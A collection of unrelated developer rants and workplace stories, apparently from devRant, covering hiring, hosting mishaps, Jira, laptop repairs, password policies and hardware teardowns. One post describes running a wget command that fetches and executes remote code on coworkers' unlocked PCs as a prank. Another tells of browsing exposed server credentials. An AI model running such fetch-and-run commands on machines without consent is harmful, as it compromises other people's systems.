My previous job I got by winning an Xbox Kinect hackathon. Not because the game I made was really good or anything. But because I was the only one who actually built something. (Apart from a guy who’s application would cheer louder as you raised your arms.) So that evening I left the hackathon with an Xbox one and a job.

My job was to build advert games, games whose primary goal is to advertise a company or event. This is the job where I learned I DO NOT like game development. So after about half a year I quit.

Because I still needed money I did some freelance work as a game developer (I developed 3 advert games for 3 startups).

I was still looking around for dev jobs but because I was a student I had no luck, they were all looking for full timers.

At some point I called this one (Dutch) company and spoke to a very odd French person on the phone. He invited me to come over for an interview. I had very little information about the job so I started researching the company. They are a small company specialized in complex content migrations. I wasn’t that into migrations but hell, I’m always up for something new.

Upon arrival I was greeted by the familiar French voice and saw a collection 6 diverse developers sharing a space. We did the usual interview dance and practices and that’s where I figured out this is a java job. They developed tools for the professional services team to perform these complex migrations I mentioned earlier. With me never having touched java before I was quite sure I wouldn’t get the job. But I took the test anyway.

About halfway through the test I was stopped and they started to ask me some conceptual questions, I did okay there but nothing special. That same day the architect took me to their CEO and told him I had:

- very little experience
- no migration experience
- was still a student so could only work 20 hours a week
- he saw some potential they could work with

Quite unexpectedly, they still hired my 20 year old ass.

Now the company has grown to a good 20+ developers with a nicely sized professional services team and we are launching our first out-of-the-box product in a couple of weeks.

So that’s how I got my job. If you read to this very end, my hat is off to you!

Two weeks ago:
customer - we need a small website, nothing special. Give us your cheapest option
*proceeds and give them the cheapeast offer, the accept and deploy their site*

Today:
I "notice" a spike in trafic, 20k request / second, and many sessions had 60-70 MB (big videos on the site) in size which cause the gateway to die and almost killed the entire hosting platform.

"Nothing special" turns out to be a website for a big campaign that they are currently running on TV, Radio, Paper and AdWord.

My first job: The Mystery of The Powered-Down Server

I paid my way through college by working every-other-semester in the Cooperative-Education Program my school provided. My first job was with a small company (now defunct) which made some of the very first optical-storage robotic storage systems. I honestly forgot what I was "officially" hired for at first, but I quickly moved up into the kernel device-driver team and was quite happy there.

It was primarily a Solaris shop, with a smattering of IBM AIX RS/6000. It was one of these ill-fated RS/6000 machines which (by no fault of its own) plays a major role in this story.

One day, I came to work to find my team-leader in quite a tizzy -- cursing and ranting about our VAR selling us bad equipment; about how IBM just doesn't make good hardware like they did in the good old days; about how back when _he_ was in charge of buying equipment this wouldn't happen, and on and on and on.

Our primary AIX dev server was powered off when he arrived. He booted it up, checked logs and was running self-diagnostics, but absolutely nothing so far indicated why the machine had shut down. We blew a couple of hours trying to figure out what happened, to no avail. Eventually, with other deadlines looming, we just chalked it up be something we'll look into more later.

Several days went by, with the usual day-to-day comings and goings; no surprises.

Then, next week, it happened again.

My team-leader was LIVID. The same server was hard-down again when he came in; no explanation. He opened a ticket with IBM and put in a call to our VAR rep, demanding answers -- how could they sell us bad equipment -- why isn't there any indication of what's failing -- someone must come out here and fix this NOW, and on and on and on.

(As a quick aside, in case it's not clearly coming through between-the-lines, our team leader was always a little bit "over to top" for me. He was the kind of person who "got things done," and as long as you stayed on his good side, you could just watch the fireworks most days - but it became pretty exhausting sometimes).

Back our story -
An IBM CE comes out and does a full on-site hardware diagnostic -- tears the whole server down, runs through everything one part a time. Absolutely. Nothing. Wrong.

I recall, at some point of all this, making the comment "It's almost like someone just pulls the plug on it -- like the power just, poof, goes away."

My team-leader demands the CE replace the power supply, even though it appeared to be operating normally. He does, at our cost, of course.

Another weeks goes by and all is forgotten in the swamp of work we have to do.

Until one day, the next week... Yes, you guessed it... It happens again. The server is down. Heads are exploding (will at least one head we all know by now). With all the screaming going on, the entire office staff should have comped some Advil.

My team-leader demands the facilities team do a full diagnostic on the UPS system and assure we aren't getting drop-outs on the power system. They do the diagnostic. They also review the logs for the power/load distribution to the entire lab and office spaces. Nothing is amiss.

This would also be a good time draw the picture of where this server is -- this particular server is not in the actual server room, it's out in the office area. That's on purpose, since it is connected to a demo robotics cabinet we use for testing and POC work. And customer demos. This will date me, but these were the days when robotic storage was new and VERY exciting to watch...

So, this is basically a couple of big boxes out on the office floor, with power cables running into a special power-drop near the middle of the room. That information might seem superfluous now, but will come into play shortly in our story.

So, we still have no answer to what's causing the server problems, but we all have work to do, so we keep plugging away, hoping for the best.

The team leader is insisting the VAR swap in a new server.

One night, we (the device-driver team) are working late, burning the midnight oil, right there in the office, and we bear witness to something I will never forget.

The cleaning staff came in.

Anxious for a brief distraction from our marathon of debugging, we stopped to watch them set up and start cleaning the office for a bit.

Then, friends, I Am Not Making This Up(tm)... I watched one of the cleaning staff walk right over to that beautiful RS/6000 dev server, dwarfed in shadow beside that huge robotic disc enclosure... and yank the server power cable right out of the dedicated power drop. And plug in their vacuum cleaner. And vacuum the floor.

We each looked at one-another, slowly, in bewilderment... and then went home, after a brief discussion on the way out the door.

You see, our team-leader wasn't with us that night; so before we left, we all agreed to come in late the next day. Very late indeed.

This is dedicated to all Webdevs, especially those WordPress fanboys.

I was reflecting on some things since I do more frequent freelance jobs at the time. And I have to admit: people are fucking crazy.

I had some serious talk with customers and some serious talk for people I work as subsidiary.

The average customer thinks a nice webpage costs I'm 9-50 bucks. They got some shitty Webhosting for 1-5$/month including domain and think they are set.

They have unclear visions about what they actually want, it all boils down to "I like the design". I made a page for someone who just posted images, no text nothing and I told him a trillion times NEEDS some text, even a fucking picture description would be sufficient, else he'll never score anything at google.

Ofc it got denied, now he's bitching how nobody finds the site when they google his name. The other thing is that Wordpress became the solution for everything.

I'm a fucking certified magento developer and I hate magento with a passion. Magento is an overabstracted clusterfuck and believe me, I did the certification I had to learn more than average about the core. But damn, don't slap woocommerce on everything.

Narrowninded fucktards, the cheap out of the box solution isn't always the best.

Don't cry if you got hacked because you were too dumb to upgrade your wordpress. Don't tell me to do some "enhancements" on a server you probably share with 100 other uses. I can't fix your Webserver with your shitty ftp account.

I also hate WordPress with a burning passion. Cum guzzling cavetroll it is. It has it usages, but don't rely on a core So small every kind of extra functionality has to somehow tinkered on it and then expect it to work flawlessly and for 10$ price.

Of course you can buy a theme that, if it would have been special made for you cost 800$ or more, but it wasn't. It just looks like it from the outside. If you want customization you are at the mercy of the option it provides. I can't even tell how many times i spent whole evenings explaining how their shiny template works. Just to do some crazy shit with JavaScript like rearranging domelements because it didn't work as expected.

I still stay to my word. Nothing great has been nor will be created with a Wordpress core. Don't tell me how some great stuff has been achieved. Or wait, please do so. But before you do think about if that wouldn't been faster, cheaper, more reliable , etc... if done with a framework like symphony or laravel... or even zend or cake.

And that brings me back to the point:
Is cheap and "out of the box" really what you need and desire? As customer and as developer?

Welcome back to practiseSafeHex's new life as a manager.

Episode 2: Why automate when you can spend all day doing it by hand

This is a particularly special episode for me, as these problems are taking up so much of my time with non-sensical bullshit, that i'm delayed with everything else. Some badly require tooling or new products. Some are just unnecessary processes or annoyances that should not need to be handled by another human. So lets jump right in, in no particular order:

- Jira ... nuff said? not quite because somehow some blue moon, planets aligning, act of god style set of circumstances lined up to allow this team to somehow make Jira worse. On one hand we have a gigantic Jira project containing 7 separate sub teams, a million different labels / epics and 4.2 million possible assignees, all making sure the loading page takes as long as possible to open. But the new country we've added support for in the app gets a separate project. So we have product, backend, mobile, design, management etc on one, and mobile-country2 on another. This delightfully means a lot of duplication and copy pasting from one to the other, for literally no reason what so ever.

- Everything on Jira is found through a label. Every time something happens, a new one is created. So I need to check for "iOS", "Android", "iOS-country2", "Android-country2", "mobile-<feature>", "mobile-<feature>-issues", "mobile-<feature>-prod-issues", "mobile-<feature>-existing-issues" and "<project>-July31" ... why July31? Because some fucking moron decided to do a round of testing, and tag all the issues with the current date (despite the fact Jira does that anyway), which somehow still gets used from time to time because nobody pays attention to what they are doing. This means creating and modifying filters on a daily basis ... after spending time trying to figure out what its not in the first one.

- One of my favourite morning rituals I like to call "Jira dumpster diving". This involves me removing all the filters and reading all the tickets. Why would I do such a thing? oh remember the 9000 labels I mentioned earlier? right well its very likely that they actually won't use any of them ... or the wrong ones ... or assign to the wrong person, so I have to go find them and fix them. If I don't, i'll get yelled at, because clearly it's my fault.

- Moving on from Jira. As some of you might have seen in your companies, if you use things like TestFlight, HockeyApp, AppCenter, BuddyBuild etc. that when you release a new app version for testing, each version comes with an automated change-log, listing ticket numbers addressed ...... yeah we don't do that. No we use this shitty service, which is effectively an FTP server and a webpage, that only allows you to host the new versions. Sending out those emails is all manual ... distribution groups?? ... whats that?

- Moving back to Jira. Can't even automate the changelog with a script, because I can't even make sense of the tickets, in order to translate that to a script.

- Moving on from Jira. Me and one of the remote testers play this great game I like to call "tag team ticketing". It's so much fun. Right heres how to play, you'll need a QA and a PM.

*QA creates a ticket, and puts nothing of any use inside it, and assigns to the PM.
*PM fires it back asking for clarification.
*QA adds in what he feels is clarification (hes wrong) and assigns it back to the PM.
*PM sends detailed instructions, with examples as to what is needed and assigns it back.
*QA adds 1 of the 3 things required and assigns it back.
*PM assigns it back saying the one thing added is from the wrong day, and reminds him about the other 2 items.
*QA adds some random piece of unrelated info to the ticket instead, forgetting about the 3 things and assigns it back.

and you just continue doing this for the whole dev / release cycle hahaha. Oh you guys have no idea how much fun it is, seriously give it a go, you'll thank me later ... or kill yourselves, each to their own.

- Moving back to Jira. I decided to take an action of creating a new project for my team (the mobile team) and set it up the way we want and just ignore everything going on around us. Use proper automation, and a kanban board. Maybe only give product a slack bot interface that won't allow them to create a ticket without what we need etc. Spent 25 minutes looking for the "create new project" button before finding the link which says I need to open a ticket with support and wait ... 5 ... fucking ... long ... painful ... unnecessary ... business days.

... Heres hoping my head continues to not have a bullet hole in it by then.

Id love to talk more, but those filters ain't gonna fix themselves. So we'll have to leave it here for today. Tune in again for another episode soon.

And remember to always practiseSafeHex

Dells XPS are made of magic. [long story, major fuckup, 10k+ damages]

It all started in December. One morning I was late to work, drove there as fast as possible. (I live like 3 minutes away so me being late really meant *late*) Parked my car in a secluded car park, grabbed my backpack and ran to work. The car park is like 100 meters away from work so I took my feet into my hands and ran. Next thing I know my heels loose all grip while I go down a small slope and I drop on my back full force. On a sharp edged stone. With only my 1700$ XPS in it. Fuck.

I paniced, but got up and ran to work. I checked on the notebook, praying it would boot. It booted! Holy shit. I flipped the notebook and saw two small dents in the aluminum shell. I was thorougly impressed. I later discovered that it left a small shadow on the display, but given what a hit that was (I am not exactly a lightweight), impressive would be a massive understatement.

Fast forward to February, I am weighing my options to get the screen replaced maybe, as damage on my hardware (even if neglectable) triggers some sort of OCD and makes me feel bad 24/7. Also my laptop tends to shut off from time to time, looked into the Event Viewer and saw kernel panic. I figured that the battery probably still took a hit and that it drops voltage from time to time and the kernel assumes a critical situation, thus shutting off.

It stayed quite snowy in Austria up until March, so occasional snowing wasn't rare. Got out of work one day, saw it snowed a bit. Whatever. I had my moms car at the time, so I tried if it would slide a bit if I donut on the now (5pm) empty parking space. Nothing. Drove done a small hill, ABS triangle lit up red (board computer can't outbalance the snow). I drove out to the main street where everything was salted and drove along towards my house. Took a turn into my street, accelerated for a bit and then went off the gas so the car would smoothly drive along with the speed slowly degrading. So I went off the gas and noticed I was a bit to the right, no wonder, centrifugal forces.

*steers left*
"Huh seems like I need a bit more"
*car still doesnt move much*
"What the- go to the left!"
*steers left hard*
"Fuck that wall is coming closer"
*Breaks*
*car doesnt break*
"FUCK FUCK FUCK FUCK!!!"

Everything got quiet in seconds, me waking up to an open airbag, ripped pants, a hurting wrist, the radio somewhere on the ground and fumes that smellt like burning wires. I grabbed my backpack that was now somewhere on the floor instead of on the seat and ran outside, tears in my eyes and the phone on my ear calling my mom. I walked inside as she walked outside, hearing a weeping scream that I haven't heard from her since I am alive. While walking inside I noticed my backpack was wet on the bottom, my 2 litre water jug shattered when my backpack hit the dashboard. I tried to stay calm and act rational, knowing that every second counts when It comes to water damage. I hastely searched for some rice and a bag to put my laptop into, stuffed the bag with both and went outside. The car was totaled, my mom pissed and crying. And I was in shock, sad, angry and hurting.

I kept the laptop on my heater for a few days, bagged in rice. I dared to try a boot after a while and you wont believe me, it fucking booted. Even the keyboard backlight worked, just the screen was obviously broken in the back (no color distortion or bad pixel rows though!!) and the aluminum shell had a dent on the front. I talked with Dell Support a few days later, asking if it would be ok to open the XPS up so I could drain all of the water. She said yes thats fine, as long as I dont touch anything or screw around with it.

She said I can send it in and get it checked, but the pickup and analysis will cost 150$ and I can go from there.

I sent it in and estimated that, because battery, screen and other things probably needed changing, it will be around 900$.

Got a call a few weeks later:

"Hello beggarboy, the repair team reported back to us and said that they will have to replace everything, which will be 1700$."

"Fuck... Buying a new one is cheaper.."

"Yeah I know I am sorry about that, I can offer you a voucher so you can buy a new one for 250$ off if you would prefer that"

"Sorry but I will need some time to consider"

"I understand."

The agent clearly noticed I was bummed about it.

After going back and forth what to do I got another call a few days later.

"Hello beggarboy, we talked a few days ago. I have good news"

"Hello, yes, speak up?"

"I was able to get a special offer for you after putting in a few words..."

The next thing she said seemed unreal to me.

She was able to cut 600$ (!!!), making the new offer 1100$, instead of 1700$ or a new one for 1500$. I figured the reason she probably did that was because I am always very polite with support members. Always.

My XPS is back and healty again.
Thank you for taking the time to read this.
Dells XPS are made of magic.

THIS is why unit testing is important, I often see newbs scour at the idea of debugging or testing:
My high school cs project, i made a 2d game in c++. A generic top down tank game. Being my FIRST project and knowing nothing about debugging or testing and just straight up kept at it for 3 months. Used everything c++ and OOP had to offer, thinking "It works now, sure will work later"

Fast forward evaluation day i had over 5k lines of code here, and not a day of testing; ALL the bugs thought to themselves- "YOU KNOW WHAT LETS GUT THIS KID "
Now I did see some minor infractions several times but nothing too serious to make me refactor my code. But here goes

I started my game on a different system, with a low end processor about 1/4 the power of mine( fair assumption). The game crashed in loading screen. Okay lets do that again. Finally starts and tanks are going off screen, dead tanks are not being de-spawned and ended up crashing game again. Wow okay again! Backround image didn't load, can only see black background. Again! Crashed when i used a special ability. Went on for some time and i gave up.

Prof saw the pain, he'd probably seen dis shit a million times, saw all the hard work and i got a good grade anyways. But god that was embarrassing, entire class saw that and I cringe at the thought of it.
I never looked at testing the same way again.

Day 1 10:00 am
Login to email account (Zimbra)
Your password is incorrect (I entered it correctly, this was a permanent issue ,used to happen in the company with many employees)
Reset your password by logging into internal company portal.

11:00 am
Logged into company portal, somehow. 2 Mbps internet shared among 104 people, you can imagine the speed.
Reset email password
* your password has been sent to your email id*
Are you fucking kidding me? U have emailed me the password to the same email I can't log in to?
Where did the architecture designer get this top notch weed from?

Day 2
Asked HR to reset my password (using a colleague's email)

Day 3
No reply from HR yet

Day 4
I went to meet HR, she's on vacation. So they have 1 person managing the password reset, for 5000 people with no backup person. Cool.

Day 5
Your internal company password has expired. Check your email for link to create new password. This is some next level shit going on.

Day 6
I called up Internal IT team to generate a new email for me.
They asked me to raise a ticket.
I can't raise a ticket because the only way to do so, is through the portal.

Day 7
Nothing. Btw, personal email and all social networks were banned. You can't even open stackoverflow.
And this was a research lab, amazing huh?

Day 8
Loss of pay for 4 days since I can't login to company portal to fill timesheet.

Day 9
HR comes back. Resets my password.
I try to generate my new password for portal.
The password policy:
Password can't be same as last 10 passwords
Passwords expire every week
8 characters minimum, 2 upper case, 2 lower case, NO SPECIAL SYMBOL. WTF. How long do u think its gonna take to crack that?

Fuckers had a company wise policy to automatically lock PC every 1 min if not used. Who the fuck can keep on using it continuously! I'm reading an article, and bam ! Locked. 2 wrong entries and that's it, repeat all steps again. Fuckers really didn't want to let me do my job, just keep on logging in all day.

Rant && story time

When I was in first grade of high school (age of 15) we had a class of informatics. Nothing unusuall, you say, but this teacher was ummm ... Let's just say special. Most of his classes looked like this:

TEACHER: Ok, class, today we are going to learn/work with <insert a name of a software here>. # And then he sat behind his desk, falling silent for the rest of the lesson. We had to look up the software ourselves, and learn to use it. Or not.

Next lesson, he just said:

TEACHER: Continue your work from the last time.

And on the third lesson of each cycle, there was grading in place. He walked through the class and if he saw you working with the software, you got a 5 (that is A for our western friends), but if you were doing something completely different, you got a 1 (that is F). That just ment that you had to open the program and wave the mouse around while he was looking at your screen, and you got a guaranteed 5.

And then the cycle repeated.

However, this is not the story about the teacher in general, it's a story about one specific event involving him.

Around the beginning of the year (calendar one, not school one; that is middle of the school year) a programming competition took place.

The first stage (school competition), was easy; I got 45 points out of 50 (I was second-best on the whole school, of all years (students from 15 to 20 years of age).

A few weeks later, second stage (national competition) took place. However, when I got to the registration dosk, things got weird.

I patiently waited in line, but when I got to the front, the assistant asked me for year and school.

ME: I come from SCHOOL_NAME and go to first year.
ASSISTANT1: All students who go to SCHOOL_NAME need to go to that separate line.

It seemed strange, but I walked over anyhow. Maybe there was enough students from our school so that new line opened for us.

ME: I go to first year. # I assumed I don't have to tell the name as the line was only for our school.
ASSISTANT2: Ok, but you need to go to that row. *points to the row wherexI just came from* # WTF is going on now?
ME: Ummm, I just came from there, and they told me to come here.
ASSISTANH2: Oh, you go to SCHOOL_NAME?
ME: Yeah
ASSISTANT2: Ok then. What is your name? # Thank Knuth, one mistery less
ME: My name is SELF.NAME
After a short search through the envelopes:
ASSISTANT2: Here you go # Both the fact that my name was completely misspeled and the procedure it took us to finally get to the correct envelope are a story for a different time.

Skip forward some 10 minutes, to the lecture hall where they just told us all the instructions and started to divide us into classrooms

ASSISTANT3:
for CLASSROOM, STUDENT_LIST in STUDENT_DIVISION:
for STUDENT in STUDENT_LIST:
STUDENT.invite(CLASSROOM)

At the end, only a few people, including me, remained.

ASSISTANT3: Is there anyone not from SCHOOL_NAME? # Umm, yeah, WTF is going on now?
Noone replied.
ASSISTANT3: OK, you all, come with me now, we will find you a classroom.

From there on, competition went fine, I came in second, got a new phone as a prize, no complaints.

However, later on, I realized what was the reason for all that weird behaviour.

Signup date for the second part was on LAST_SIGNUP_DATE, which was at least two weeks before the competition, and signups had to be done untill 1600 that day.

Our teacher signed us up at 2200. ON THE FUCKING DAY BEFORE THE COMPETITION. OF COURSE THEY HAD NOTHING PLANNED FOR US, NO ENVELOPES, NO COMPUTERS, NOTHING, IF WE WERE SIGNED UP LESS THAN FUCKING 12 HOURS BEFORE THE COMPETITION INSTEAD OF 2 WEEKS EARLIER. THE ONLY REASON WE GOT TO COMPETE WAS BECAUSE SOME PEOPLE DIDN'T SHOW UP AND WE USED THE PC'S MENT FOR THEM. IF EVERYONE SHOWED UP WE FUCKING COULDN'T COMPETE.

And from that moment on, I always signed myself up for all of the competitions; better safe than sorry.

Me: Hmm, let's check what's the issue with this styles... Seems like nothing special...

*15 minutes later*

Me: Well, now that's just fine, now i'm closin' this one and commitin'...
Wait, what the...?

/* frontend-developer's day rubric. devrant edition */

I don't want to write clean code anymore :(

I read Clean Code, Clean Coder, and watched many uncle bob's videos, and I was able to apply best practices and design patterns
I created many systems that really stood the test of time...

Management was kind enough to introduce me to uncle bob clean code in the first place, letting us watch it during work hours. after like one year, my code improved 400% minimum because I am new and I needed guidance from veterans...

That said, to management I am very slow, compared to this other guy, they ask me for a feature and my answer would be like "sure, we need to update the system because it just doesn't support that right now, it is easy though it would take 2 days tops"

they ask the same thing for the other guy : "ok let me see what I can do", 1 hour later, on slack, he writes : done. he slaps bunch of if-statement and make special case that will serve the thing they asked for.

oh 'cool' they say -> but it doesn't do this -> it needs to do that -> ok there is a new bug,-> it doesn't work in build mode-> it doesn't work if you are logged in as a guest, now its perfect ! -> it doesn't work on Android -> ok it works on android but now its not perfect anymore.

and they feel like he is fast (and to be fair he is), this feature? done. ok new bugs? solved. Android compatibility ? just one day ... it looks like he is doing doing doing.

it ends up taking double the time I asked for, and that is not to mention the other system affected during this entire process, extra clean up that I have to do, even my systems that stood the test of time are now ruined and cannot be extracted to other projects. because he just slaps whatever bools and if statements he needs inside any system, uses nothing but Singleton pattern on everything. our app will never be ready-for-business, this I can swear. its very buggy. and to fix it, it needs a change in mentality, not in code.
---------------

uncle bob said : write your code the right way, and the management will see that your code generates less errors, with time, you will earn respect even though they will feel you are slow at first.

well sorry uncle, I've been doing it for a year, my image got bad, you are absolutely right, only when there is no one else allowed to drop a giant shit inside your clean code.

note: we don't really have a technical lead.
-------------------
its been only two days since my new "hack n' slash" meta, the management is already kind of "impressed" ... so I'll keep hacking and slashing until I find a better job.

I had this prepared in advance and executed on April 1st few years ago.

1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.

Man, that was hilarious.

Story Time. Inspired by another rant.

Context: I'm In a coding camp years ago, it's the first day.

We're doing introductions (name, why you're here, etc). Always fun to do that....

The folks running the camp are excited to introduce a student who also at one point was a teacher for some sort of girl power coding organization. So this raises questions, why would someone who teaches be a student in this camp?? And even a bigger question is raised when this person introduces themselves for a long time, and as an aside puts down the girls she taught in this program they taught ... like who does that?

horribleLady does that ...

A few hours later horribleLady asks her 12th question of the day (we haven't even started talking about code). Before she asks her question actually says:

“I know, I’m going to be a problem.” -laugh-

🚨🚨🚨 ヽ ( ꒪д꒪ )ﾉ 🚨🚨🚨

Fast forward to group projects and she's this sort of emotional storm, tears, and a sort of angry shouting that isn't angry enough for some folks to say she's yelling at people ... but she is. Fortunately I'm not in the first group project with her, but because we're all working in the same room we all get to see the train-wreck unfold.

The moment she doesn't get something (all the time) everyone in her group has to STOP and figure out what they're going to do about it, then again STOP because she thinks someone is doing something different than what was planned. STOP STOP STOP STOP STOP.

In a way, everything had to go through her, she didn’t declare it that way, she didn't present herself as any sort of authority, she would just stop everyone the moment she thought anything was wrong, or she didn't understand it (all the time), and either inject herself or demand help from her team. Everyone around her had to be drawn into whatever problem she had. It was horrific to watch.

Private slack channels would light up like crazy with "OMG", "WTF", "I DON'T UNDERSTAND HER", "FUCK" and "SHE"S HOW OLD!?!?"

So finally it happens to me and guyWhoDoesPotConstantly (capable guy, nice dude, pretty sure he was high all the time).... we're teamed up to work with horribleLady. Thankfully for just one day. I accept this because I figure one day with her is enough penance to try to avoid any further contact later on.

My approach is straight stone face. I refuse to respond to her sulking, or sighing, or general emotional bait she throws out constantly. I saw other students unwittingly take her bait (they were trying to be helpful) only to have her crap all over them with her frustrations or whatever it is is going on.

Still we're teamed up with her her for the day so I'm going to be a good team member and I explain what guyWhoDoesPotConstantly and I are doing / trying.... and so forth. But she's just too upset that she's even assigned to work with us, and tells me I'm just not doing it right, and her explanations about how we're not doing it right makes less than 0 sense. I ask her to show me what she means but she won't type anything on her keyboard, she'd just talk about how she’s thinking conceptually in circles and sulk about it rather than listen. I don't respond to any of her shit and say "I'm going to try this." and guyWhoDoesPotConstantly and I just keep working.

She would later call the instructor over and complain to him for a while and say: "These guys just get it, they're not helping me, I want to be assigned to another group." She doesn't get her way so she just moves to another table in front of us.

After that day I figured it was a great time to ask .... to NEVER be assigned to anything with her because "If I told her what I thought it would just get a lot worse." I got my way ;)

Other students weren't so lucky. Tears, sulking, her special way of yelling at people that somehow never got her in trouble (she should have been kicked out of the program) just kept going on. She refused to even present one group project she deemed not good enough despite the fact that she contributed nothing functional to the project that the TA's didn't write for her...

Amidst the stories she would tell to students was one of how she sued her totally sexist/racist/evil former employer. She never said what came of it, but that combined with her inability to do things reminded me of a rant I read on here.

I sometimes fear being hired someplace and walking in my first day to find I'm assigned to work with .... horribleLady. In this scenario she managed to get hired and they're too afraid to fire her so they assign the new guy to work with horribleLady...

I've no idea what happened to her after the camp.

(I rewrote this rant a few times because it kept circling back to a larger story about the coding camp I wrote about a few years ago, so if this seemed sort of broken up and wonky, yeah it was / is / yeah)

I've just disassembled this LED floodlight that I bought a while ago. It's some stupid little cheapie from a dollar store, so I figured that there'd be shit inside. But I wanted that LED cob.. a power LED :3

Well, shit wasn't too far off from the truth. The component choice is reasonable, but the design of the bloody thing.. batshit insane. The LED floodlight is powered by 4 AAA batteries, connected in series. So 6VDC. That then goes into this little tactile pushbutton, into the LED cob and then a 4.7 ohm resistor.

Well that's a pretty easy circuit.. let's remove the batteries and the casement, and put it on the lab bench power supply. Probes connected to the circuit with only the resistor and the LED cob in between (I didn't want to deal with the switch). Power supply set to 6V, current limiting to 500mA, contact!! And it works, amazing! So I let it run for a while to see that nothing gets too hot.. hah. After a minute or so, smoke would come out.. LED cob was a bit warm to the touch but nothing too bad. But the resistor.. I could cook water on it if I wanted to! 100 fucking °C, and rising. What the F yo?!

So I figured that I didn't want to put the resistor in between there. Just the LED cob now, which apparently has a forward voltage somewhere between 3.2V and 3.3V depending on how I set the current (500mA and 600mA respectively). Needed a bigger heatsink though, so I jammed one of my aluminium heatsinks on there. And it worked great! Very bright too, as it takes between 1.6 and 2W of power. Just for a comparison, the lighting in my living room is 4x5W and the ones on top of my dining table are 2x3W (along with some TL bar that my landlord put there.. fluorescent I think). So yeah, 2W is quite a lot for an LED, especially when it's all concentrated into one tiny spot.

That said, back to the original design with the resistor. 2 questions I have for that moron that designed this crap. First, why use a resistor for a power LED?! They needlessly waste power, and aren't good choices for anything that consumes more than 100mA. You should use PWM for these purposes, or tune your voltage on the supply side. Second, why go with 6V when your forward voltage is 3.3 at most? Wouldn't it make more sense to use 3 batteries with 4.5V? Ah, but I know the answer to the second one. AAA cells aren't rated for high loads like this. So that's likely why the alkaline cells that I had in there before have started leaking. Thanks, certified piece of shit!

Honestly, consumer electronics are such a joke... At least there's some components that I can salvage from this crap. Mainly the LED cob, but also the resistor and the tactile pushbutton perhaps.

One last remark that I'd like to make. This floodlight was cheap garbage. But considering that you can't do it well at that price, you just shouldn't do it. You know why? Because consumers always go for the cheapest. Makes a lot of money to build at rock bottom prices and make shit, but it damages the whole industry, since now the good designs will go out of business. That's why consumer electronics is so full of crap nowadays. Some unethical profiteering gluttons saw money, and they replaced the whole assortment with nothing but garbage. I'm sure that there's a special place in hell for that kind of people.

Started testing out the concept of a new application I'm developing (nothing special)

I always seem to play games instead of coding, so I'm developing a trainer which monitors for any open games and checks whether I have coded enough in a day to play games.

If I haven't coded for long enough, it will force close the game and warn me.

Further development to happen.

It was a normal school day. I was at the computer and I needed to print some stuff out. Now this computer is special, it's hooked up onto a different network for students that signed up to use them. How you get to use these computers is by signing up using their forms online.

Unfortunately, for me on that day I needed to print something out and the computer I was working on was not letting me sign in. I called IT real quick and they said I needed to renew my membership. They send me the form, and I quickly fill it out. I hit the submit button and I'm greeted by a single line error written in php.

Someone had forgotten to turn off the debug mode to the server.
Upon examination of the error message, it was a syntax error at line 29 in directory such and such. This directory, i thought to myself, I know where this is. I quickly started my ftp client and was able to find the actual file in the directory that the error mentioned. What I didn't know, was that I'd find a mountain of passwords inside their php files, because they were automating all of the authentications.

Curious as I was, I followed the link database that was in the php file. UfFortunately, someone in IT hadn't thought far enough to make the actual link unseeable. I was greeted by the full database. There was nothing of real value from what I could see. Mostly forms that had been filled out by students.

Not only this, but I was displeased with the bad passwords. These passwords were maybe of 5 characters long, super simple words and a couple number tacked onto the end.

That day, I sent in a ticket to IT and told them about the issue. They quickly remedied it by turning off debug mode on the servers. However, they never did shut down access to the database and the php files...

Hello devRant,

This is already from a few days ago but I had to process the whole thing myself first.

It was a normal day at work nothing special. Customers came in got their repaired PC's/Laptops and brought some new work in. So I went through some and then I got to the case that is the most well unbelievable and shocking I had in the only 2 years doing this. At first it was a normal HDD bad sector thing and I started copying the old HDD to a new one.

//NOTE: the program we use shows every file it's copying and the sectors it spans //

Suddenly I saw a weird thing happening where it started copying tons of files from a folder called "mature/kids" over to the new HDD.
I noted the path and after it finished we returned the laptop to the customer and he luckily left his old HDD with us. So my boss and I we did some investigation and we'll turns out the dude has a whole library of childpornography.

tl;dr check what you copied and report such cases to the police.

Don't do such stupid shit and stay legal guys.

Which you all a great day/night/morning/evening/whatever

//EDIT: I ofc won't post pictures cause of obvious reasons

I had plugged in my Android phone to the PC, browsed files from internal storage, Ctrl + X'ed some files from there, Ctrl + V'ed them to the desktop. Nothing special.

Bang. Files travelled to another dimension, absolutely gone from the original location, with no trace or them or any notification.

Who thought it would be a good idea to delete stuff before making sure it's been successfully transfered first?

Fuck you Windows.

Also, hello, its my first rant but I've been lurking devRant for a while now. Loving it here.

if (MONTH === 1 & DAY === 18) {
alert("Bro, it's your birthday");
} else {
alert("Bro, just go away, you're nothing special 😅);
}

Feel free to scroll by if you feel like it.

I am just very excited this evening because with today's commit I have reached a very important milestone in my side-project development. As of today all the [so far] 12 components are all working together and processing the main flow themselves.
No special functions, no test data in the code, nothing like that. A client is able to do its thing now as it should.

I know it doesn't sound like much, but as I'm working on this gigantic beast for 3 years now this milestone is hell of a reward for me!

Just wanted to share :)

edit: f* it! I'm getting a cake!

Finally, the jeezless present is done.. fuck this shit, where's my booze and my bed?! 😒

Anyway, it's essentially a power bank with LED's attached to it. The LED matrix is at the back side and looks reasonably decent (but I don't wanna disclose the age it's displaying). It's powered through a 47ohm resistor and is directly attached to the 5V lines. Yellow LED's with 2V voltage drop that have each number completely parallelized, and then those numbers are put in series to increase the combined forward voltage of the LED's to 4V. That way the circuit is around 80% efficient (resistor drops 1V, LED's drop the remaining 4V). Other than that, nothing too special. It did take 2 nights to build though.. way too much for a mere formality 😑

I have a Windows machine sitting behind the TV, hooked to two controllers, set up as basically a console for the big TV. It doesn't get a lot of use, and mostly just churns out folding@home work units lately. It's connected by ethernet via a wired connection, and it has a local static IP for the sake of simplicity.

In January, Windows Update started throwing a nonspecific error and failing. After a couple weeks I decided to look up the error, and all the recommendations I found online said to make sure several critical services were running. I did, but it appeared to make no difference.

